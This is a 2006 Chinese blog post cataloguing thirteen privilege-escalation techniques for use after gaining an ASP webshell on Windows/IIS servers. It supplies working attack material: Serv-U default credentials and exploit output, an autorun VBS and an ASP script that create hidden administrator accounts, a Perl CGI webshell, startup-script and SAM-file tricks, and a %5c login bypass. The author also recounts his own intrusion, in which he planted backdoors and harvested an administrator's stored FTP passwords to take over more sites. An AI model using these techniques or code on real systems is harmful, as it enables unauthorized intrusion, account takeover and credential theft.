ASP木馬提升權限的N種方法

ASP木馬提升權限的N種方法
Submitted by cooldiyer on 2006, July 6, 11:53 AM. 技術
一、Serv-U提權
    OK,看看他的PROGRAME裏面有些什麼程序,哦,有SERV-U,記得有次看到SERV-U有默認的用戶名和密碼,但是監聽的端口是43958,而且是隻有本地才能訪問的,但是我們有端口轉發工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21
顯示竟然是3.0的,唉,不得不說這個管理員真的不稱職。後來完畢後掃描了下,也只有FTP的洞沒有補。既然是這樣,我們就開始我們的提升權限了上傳FPIPE,端口轉發工具在運行CMD命令裏輸入d://wwwroot//fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本機的43598端口轉發到81端口然後打開我們自己機子上的SERV-U,點Serv-U服務器,點菜單欄上的的服務器,點新建服務器,然後輸入IP,輸入端口,記得端口是剛剛我們轉發的81端口。服務名稱隨便你喜歡,怎麼樣都行。然後是用戶名:LocalAdministrator  密碼:#l@$ak#.lk;0@P   (密碼都是字母)
確定,然後點剛剛建的服務器,然後就可以看到已有的用戶,自己新建一個用戶,把所有權限加上。也不鎖定根目錄
接下來就是登陸了,登陸FTP一定要在CMD下登陸,
進入後一般命令和DOS一樣,添加用戶的時候
ftp>quote site exec net.exe user hk pass /add
ftp>quote site exec net.exe localgroup administrators hk/add
如果對方開了3389的話,就不用我教你怎麼做了,沒開的話,新建立IPC連接,在上傳木馬或者是開啓3389的工具

    如果不行的話就看看“C://Documents and Settings//All Users//「開始」菜單//程序”能跳轉不,我們從這裏可以獲取好多有用的信息
可以看見好多快捷方式,我們一般選擇Serv-U的,然後本地查看屬性,知道路徑後,看能否跳轉
進去後,如果有權限修改ServUDaemon.ini,加個用戶上去,密碼爲空
[USER=WekweN|1]
Password=
HomeDir=c:TimeOut=600
Maintenance=System
Access1=C://|RWAMELCDP
Access1=d://|RWAMELCDP
Access1=f://|RWAMELCDP
SKEYValues=
這個用戶具有最高權限,然後我們就可以ftp上去 quote site exec xxx 來提升權限


二、auto.ini 加 SHELL.VBS

autorun.inf
[autorun]
open=shell.vbs
shell.vbs
dim wsh    
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 520ls",0
wsh.run "net localgroup administrators guest /add",0
wsh.run "net user hkbme 520ls /add",0
wsh.run "net localgroup administrators hkbme /add",0
wsh.run "cmd.exe /c del autorun.inf",0
wsh.run "cmd.exe /c del shell.vbs",0  

但是這樣要可以訪問到對方的根目錄。將這兩個文件放到對方硬盤的根目錄下。當然你也可以直接執行木馬程序,還要一個木馬程序,但是語句就和最後兩句一樣,通過CMD執行木馬程序

三、Folder.htt與desktop.ini
將改寫的Folder.htt與desktop.ini,還有你的木馬或者是VBS或者是什麼,放到對方管理員最可能瀏覽的目錄下,覺得一個不夠,可以多放幾個
Folder.htt添加代碼
<OBJECT ID=&rdquo;RUNIT&rdquo; WIDTH=0 HEIGHT=0 TYPE=&rdquo;application/x-oleobject&rdquo; CODEBASE=&rdquo;你的後門文件名&rdquo;>
</OBJECT>  

但是後門和這兩個文件必須要放到一塊,有點問題,可以結合啓動VBS,運行結束後,刪除上傳的後門.就是CODEBASE="shell.vbs".shell寫法如上

四、replace替換法,可以替換正在執行的文件

用這個幾乎可以馬上得到權限,但是我沒有做過試驗,可以試下,將對方正在執行的文件替換爲和它文件名一樣的,捆綁了木馬的。爲什麼不直接替換木馬呢?如果替換的是關鍵程序,那不是就直接掛了?所以還是捆綁好點
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W]

 [drive1:][path1]filename 指定源文件。
 [drive2:][path2] 指定要替換文件的
              目錄。
 /A 把新文件加入目標目錄。不能和
              /S 或 /U 命令行開關搭配使用。
 /P 替換文件或加入源文件之前會先提示您
              進行確認。
 /R 替換隻讀文件以及未受保護的
              文件。
 /S 替換目標目錄中所有子目錄的文件。
              不能與 /A 命令選項
              搭配使用。
 /W 等您插入磁盤以後再運行。
 /U 只會替換或更新比源文件日期早的文件。
              不能與 /A 命令行開關搭配使用
這個命令沒有試驗過,看能不能替換不能訪問的文件夾下的文件,大家可以試驗下

五、添加開機腳本

編寫一個啓動/關機腳本配置文件scripts.ini,這個文件名是固定的,不能改變。內容如下:
[Startup]
CmdLine=a.bat
Parameters=  


將文件scripts.ini保存到“C://winnt//system32//GroupPolicy//Machine//Scripts”
A.BAT的內容可以是NET USER yonghu mima
也可以是NET USER ADMINistrator  XXX
這樣可以恢復你想要得任意用戶名的密碼,也可以自己增加新的用戶,但是要依賴重啓,還有就是對SYSTEM32有寫的權限

六、SAM文件

    如果可以訪問對方的SYSTEM32的話,刪除對方的SAM文件,等他重啓以後就是ADMIN用戶密碼爲空
突然又有了想法,可以用REPLACE命令替換的嗎,可以把你的SAM文件提取出來,上傳到他的任意目錄下,然後替換。不過不知道如果對SYSTEM32沒有權限訪問的話,能不能實現替換,不能的話就暴力破解,用到破解sam密碼的軟件有LC,SAMinside

七、使用服務器上的軟件漏洞來提升權限

    從前段時間的動網的upfile漏洞, 動力文章系統最新漏洞到first see發現的動網sql版本的一個超級大漏洞。有人一定忙的不易樂乎,大家的方法也不過是使用一下asp腳本的後門罷了。至於提 升權限的問題 呵呵,很少有人能作一口氣完成。關鍵還是在提升權限上做個問題上,不少服務器設置的很BT,你的asp木馬可能都用不了,還那裏 來的提升啊。我們得到webshell也就是個低級別的用戶的權限,各種提升權限方法是可謂五花八門啊,如何提升就看你自己的妙 招了。

其一,如果服務器上有裝了pcanywhere服務端,管理員爲了便於管理也給了我們方便,到系統盤的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下載*.cif本地破解就使用pcanywhere連接就ok了。
其二,如果對方有Serv-U大家不要罵我啊,通過修改ServUDaemon.ini和fpipe這軟件提升權限應該是不成問 題吧。
其三,通過替換系統服務來提升。
其四,查找conn和config這類型的文件看能否得到sa或者mysql的相關密碼,可能會有所收穫等等。
本人在一次無聊的入侵過程中發現了這個方法,使用Flashfxp也能提升權限,但是成功率高不高就看你自己的運氣了:)
本人在www.xxx.com 通過bbs得到了一個webshell,放了個小馬(現在海陽的名氣太大了偶不敢放),而且已經將一段代碼插入了N個文件中,夠 黑吧。提升權限沒時間做。在我放假回家後,一看我暈bbs升級到動網sp2了我放的小馬也被K了,人家的BBS是access版 本的。鬱悶啊!突然想起我將一個頁面插入了asp的後門,看看還有沒有希望了。輸入www.xxx.com/xx.asp?id =1 好傢伙,還在!高興ing
於是上傳了一個asp的腳本的後門,怎麼提升權限呢?
在這個網站的主機上游蕩了N分鐘,在C:// Program Files下發現了FlashFXP文件夾(跟我一樣使用這個軟件自己心裏暗想)圖2,於是就打了了Sites. dat這個文件(編輯)這是什麼東西密碼和用戶名,而且密碼是加了密的。
如果我把這些文件copy回本地也就是我的計算機中,替換我本地的相應文件會怎麼樣呢?
於是我就將Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak幾個文件下載到我的計算機中替換了我電腦中flashfxp文件夾的相應文件。打開flashfxp 在站點中打開站點管理器一項。乖 乖發財了
對方管理員通過flashfxp連接的各個站點都在圖3,點擊連接。通過了於是我們又有了一堆肉雞,我們有ftp權限。上傳腳本 木馬~ 呵呵。
說了半天這提升權限的事情一點沒講啊
不要急,大家看看對方管理員的這站點管理器,有用戶名和密碼,密碼是星號的。可惜啊!
又想起了在Sites.dat中也顯示了密碼和用戶名,而且密碼是加密的。
現在的星號密碼會不會也是加了密的?看看就行了唄。
怎麼看? 菜鳥了吧 手頭有個不錯的查看星號的軟件,就是xp星號密碼查看器,通過查看跟Sites.dat中加密了密碼做比較。看圖4和圖5 的比較 很顯然在站點管理器中查看到的密碼是明文顯示的。發財了吧
下一步就是使用xp星號密碼查看器這個軟件來提取密碼和用戶名。看者這些複雜的密碼,還真有點懷念當年玩sniff的時光。呵呵
密碼爲:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用戶名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密碼和用戶名已經作了必要的修改)
這麼多的信息,按社會工程學的概念來說,沒有管理員的密碼。打死我也不相信。最終我得到了這個網站管理員的密碼從這堆東西中找到 的。
我想這個問題應該反饋到flashfxp官方,讓他們在下個版本中修正這個漏洞或者說是錯誤。經過後來測試只要把含有密碼和用戶 名的Sites.dat文件替換到本地相應的文件就可以在本地還原對方管理員的各個站點的密碼。希望大家在入侵的時候遇到fla shfxp的時候能想到這個方法,至少也可以得到一堆新的肉雞。不防試試?希望能給大家滲透帶來幫助。
其五,c://winnt//system32//inetsrv//data就是這個目錄,同樣是erveryone 完全控制,我們所要做的就是把提升權限的工具上傳上去,然後執行

八、利用asp.dll提權

asp文件的教本解釋是由asp.dll運行的。由dllhost.exe啓動的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接啓動。身份是system
方法:
第一步。
得到inprocesslsapiapps內容,用命令"cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps"。將得到的一組dll複製下來。
第二步
寫一個bat內容爲"cscript C://Inetpub//AdminScripts//adsutil vbs set w3svc/inprpocessisapiapps "C://Inetpub//AdminScripts//asp.dll" ·····
省略號爲複製下的內容。中間用空格分開不要帶回車符
最後運行這個bat就行了。
例如:
我用"cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps"得到

"c://winnt//system32//inetsrv//httpext.dll"
"c://winnt//system32//inetsrv//httpodbc.dll"
"C://WINNT//system32//inetsrv//ssinc.dll"
"C://WINNT//System32//msw3prt.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_aut//author.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_adm//admin.dll"
"C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//shtml.dll"


那麼你的bat就應該是:

cscript C://Inetpub//AdminScripts//adsutil vbs set w3svc/inprpocessisapiapps "C://Inetpub//AdminScripts//asp.dll" "c://winnt//system32//inetsrv//httpext.dll" "c://winnt//system32//inetsrv//httpodbc.dll" "C://WINNT//system32//inetsrv//ssinc.dll" "C://WINNT//System32//msw3prt.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_aut//author.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//_vti_adm//admin.dll" "C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//isapi//shtml.dll"


九、利用%5c繞過驗證 利用%5c繞過驗證


說到%5c,你是不是想起了當前流行的那個%5c暴庫漏洞,呵呵,本文就是對%5c利用的探索(呵呵,當然有我提出的新東東,或許對你有幫助哦^_^)。

好,我們先追根溯源,找到那個漏洞的老底。看看綠盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429

N年以前利用這個漏洞可以實現目錄遍歷,雖然微軟出了補丁,不過好像補丁是用來限制iis只能訪問虛擬目錄的,所以漏洞還是存在,只不過利用方式變了。對iis來說,提交一個含有%5c的url能夠找到文件,但是該文件裏以相對路徑引用的其他文件卻找不到了(%5c是//的url編碼,iis跳轉到上一級目錄去找,當然找不到;頭暈了吧,哈哈,我也頭暈啊)。

後來這個漏洞就被牛人挖掘出來了,也就是傳說中的%5c暴庫:由於連接數據庫的文件引用的相對路徑,提交%5c找不到文件,所以導致出錯,iis就會老老實實的說出數據庫的路徑(不明白?找google)。

一個偶然的機會我發現還可以利用%5c繞過asp的驗證;當我們暴庫失敗的時候不妨試試。

廢話少說,看下面的代碼:
<!--#include file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.CreateObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "請輸入正確地管理員密碼!"
response.end
else
session("admin")=1 '登陸後寫入seesion中保存
response.write("登陸成功,請返回信息頁")
end if
%>  



看到沒有,要想通過驗證必須讓數據庫裏的用戶名密碼與提交的一致;想到什麼?讓我們再看看數據庫連接文件代碼:

<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>  


啊,有容錯語句不能暴庫!等等,如果提交%5c數據庫找不到,由於容錯,所以程序會繼續執行,那麼說來從數據庫得到的用戶名密碼皆爲空(想想有時暴庫失敗是不是看到空空的框架,因爲數據都是空嘛),哈哈,這樣我們就繞過驗證了!

知道怎麼做了吧,把登陸頁面保存到本地,修改提交的url,把最後一個/改成%5c,用戶名密碼用空格(有的程序會檢查用戶名密碼是否爲空,空格會被程序過濾),提交,就ok了。

誒,各位不要以爲我自己沒事寫段代碼來搗鼓,實際上這個是我們學校一個高手做的留言板程序,就掛在學校的主頁,呵呵。

既然弄懂了原理,當然要找實際漏洞啦,自然是拿大名鼎鼎的“洞”網論壇開刀。不過失敗了,因爲它的數據庫連接文件裏有這麼一段:
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "數據庫連接出錯,請檢查連接字串。"
Response.End
End If  


數據庫找不到程序就結束了,呵呵,空歡喜一場。

接着又去down了bbsxp論壇,打開數據庫連接文件,暈,根本沒有容錯語句;呵呵,不過可以暴庫哦。

我又不是BT,所以不去找事了,寫篇文章,算是給各位高手提供資料吧。

總結一下這個攻擊方法成功的條件:1、數據庫連接用的相對路徑且僅有簡單的容錯語句;2、服務器iis版本爲4或5;3、程序裏不檢查空字符或者檢查時不過濾空格而比較時過濾空格;4、程序不能在一級目錄

至於防範,呵呵,既然攻擊條件知道了,防範措施自然也出來了^_^

十、.network對象腳本權限

<head>.network對象腳本權限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用戶:<input name="username" type="text" value="kevin1986"><br>
密碼:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>


<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你還是別買6+1了&hellip;&hellip;省下2元錢買瓶可樂也好&hellip;&hellip;"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登錄")>0 then
response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很鬱悶吧"
else
Response.write "OMG!"&username&"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "請輸入輸入用戶名"
end if
end if
%>  


也可以用這段代碼檢查是否提升成功

<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators組帳號
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>  


十一、明星目錄權限利用
    C://Program Files//Java Web Start這裏如果可以,一般很小,可以嘗試用jsp的webshell,聽說權限很小,本人沒有遇見過。
    看能否跳轉到如下目錄
c://php, 用phpspy
c://prel,有時候不一定是這個目錄(同樣可以通過下載快捷方式看屬性獲知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html//r//n//r//n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f///ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>//r//n", 13);
open(STDERR, ">&STDOUT") || die "Can/'t redirect STDERR";
system($execthis);
syswrite(STDOUT, "//r//n</PRE></HTML>//r//n", 17);
close(STDERR);
close(STDOUT);
exit;  

保存爲cgi執行,
如果不行,可以試試 pl 擴展呢,把剛纔的 cgi 文件改爲 pl 文件,提交 http://anyhost//cmd.pl?dir
顯示"拒絕訪問",表示可以執行了!馬上提交:先的上傳個su.exe(ser-u提升權限的工具)到 prel的bin目錄
http://anyhost//cmd.pl?c//perl//bin//su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
現在是 IUSR 權限,提交:
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c//perl//bin//su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted  

這樣所有分區爲everyone完全控制,現在我們把自己的用戶提升爲管理員:
http://anyhost//cmd.pl?c//perl//bin//su.exe " net localgroup administrators IUSR_anyhost /add"

十二、運行adsutil.vbs來提升權限
用這個cscript C://Inetpub//AdminScripts//adsutil.vbs get w3svc/inprocessisapiapps
查看有特權的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再將asp.dll加入特權一族
asp.dll是放在c://winnt//system32//inetsrv//asp.dll (不同的機子放的位置不一定一樣)
我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C://WINNT//system32//idq.dll" "C://WINNT//system32//inetsrv//httpext.dll" "C://WINNT//system32//inetsrv//httpodbc.dll" "C://WINNT//system32//inetsrv//ssinc.dll" "C://WINNT//system32//msw3prt.dll""c://winnt//system32//inetsrv//asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來查看是不是加進去了  

十三:pcanywhere CIF文件本地權限的提升

如果對方裝了pcanywhere的話,我們可以利用此漏洞,首先在我們本機安裝pcanywhere版本與目標機相同,創建新的CIF文件,設置超級用戶標籤,將這個cif文件上傳至目標機“Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/Hosts/"目錄,這樣我們登陸到pcanywhere就得到了管理員權限~

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章